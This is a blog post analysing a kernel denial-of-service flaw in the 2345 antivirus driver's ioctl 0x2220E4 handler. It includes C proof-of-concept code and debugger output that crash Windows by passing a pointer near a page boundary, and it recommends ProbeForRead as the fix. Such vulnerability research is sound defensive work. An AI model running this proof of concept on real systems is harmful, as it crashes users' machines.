freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

2345内核拒绝服务漏洞分析(2)
FreeBuf_27674 2018-07-08 11:08:43 246526
所属地 四川省

漏洞概述

2345安全软件的驱动2345BdPcSafe.sys在ioctl(0x002220E4)接口处理中,对输入数据校验不严格,可构造数据中包含非法地址导致访问违例,然后bsod拒绝服务。

漏洞分析

IRP_MJ_DEVICE_CONTROL处理函数中,对0x2220E4接口进行处理时如下所示:

img

InputBuf是应用层传入的输入缓存内容,校验InputBuf是否为空,长度是否超过8字节,然后通过MmIsAddressValid验证地址是否合法,合法后通过偏移16访问该内存内容是否等于标记li7p

问题就出在这里,MmIsAddressValid并不能验证一个内存某范围内是否可读可写,仅仅只能验证该地址读写是否会触发一个页错误。

所以我们就可以构造一个可通过MmIsAddressValid验证并且地址16偏移不可读的内存作为输入,造成bsod。

看下面的poc代码,通过VirtualAlloc分配一个页大小的内存,可读可写,然后计算页地址尾地址-4作为输入缓存的ptr,这样MmIsAddressValid可通过校验,再内核读取ptr+16偏移时地址已经超过该页内存范围,不可访问,导致bsod。


int poc()

{

DWORD BytesReturned = 0;

HANDLE h = OpenDevice("\\\\.\\2345BdPcSafe");

if (h == INVALID_HANDLE_VALUE) {

return 1;

}

    //过白名单检查

if (!BypassChk(h)) {

return 1;

}

//BSOD

DWORD ctlcode = 0x2220E4;

#pragma pack(push,1)

struct _ioctl_buf_in

{

__int64 ptr;

};

#pragma pack(pop)

_ioctl_buf_in buff = { 0 };

    

    //分配一个页,可读可写,将该页地址尾地址-4作为输入缓存的ptr

    //然后读取+16偏移时地址已经越过该页内存范围,不可访问,bsod

PVOID ptr = VirtualAlloc(NULL, 0x1000, MEM_COMMIT, PAGE_READWRITE);

memset(ptr, 0x41, 0x1000);//

buff.ptr = (__int64)ptr + 0x1000 - 0x4;

if(!DeviceIoControl(h, ctlcode, &buff, sizeof(_ioctl_buf_in), &buff, sizeof(_ioctl_buf_in), &BytesReturned, NULL)) {

printf("[-] DeviceIoControl %x error: %d\n", ctlcode, GetLastError());

}

return 0;

}

看看内存更加清晰,buff地址是003efea0buff.ptr的值是00030ffc,可以清楚看到00030ffc+16偏移处肯定是不可读的了。


0: kd:x86> dd 003efe3c 

00000000`003efe3c  003efe68 75db3237 00000030 002220e4

00000000`003efe4c  003efea0 00000008 003efea0 00000008

0: kd:x86> dd 003efea0 

00000000`003efea0  00030ffc 00000000 01234808 003efef8

0: kd:x86> dd 00030ffc 

00000000`00030ffc  41414141 ???????? ???????? ????????

00000000`0003100c  ???????? ???????? ???????? ????????

结语

这个漏洞算是前一个的延申,依然是应用层传入内容中包括内存地址,也加入了内存合法性验证代码,但是却没什么用,并没有验证到要访问的内存处的合法性,这个疏漏导致了漏洞的产生。

更好的验证内存合法性的函数应该使用ProbeForRead(p, len, x),可以验证一个范围内内存的合法性,更加严谨,能更好的避免漏洞的产生。

稍微总结一下,应用层传入内容结构越复杂,越容易出现问题。这个漏洞出现的位置,本来应该是2345接口协议验证的代码,是为了增加安全性的,却不想成为了安全性问题的原因。

该系列后续会继续分析其他原因引起的漏洞,如有兴趣,敬请期待!

博客原文:https://anhkgg.github.io/vul-2345-2/

参考

  1. 如何验证一个地址可否使用—— MmIsAddressValid函数分析

  2. https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/ntddk/nf-ntddk-mmisaddressvalid


欢迎关注公众号:汉客儿

# 漏洞 # fuzz # 杀毒软件 # 内核漏洞 # 内核拒绝服务
本文为 FreeBuf_27674 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
汉客儿
相关推荐
FreeBuf_27674 LV.2
anhkgg.github.io 公众号: 汉客儿
  • 14 文章数
  • 14 关注者
注入技术系列:一个批量验证DLL劫持的工具
2019-11-05
沙箱:概述
2019-10-10
程序员对私密聊天的乱想
2019-09-04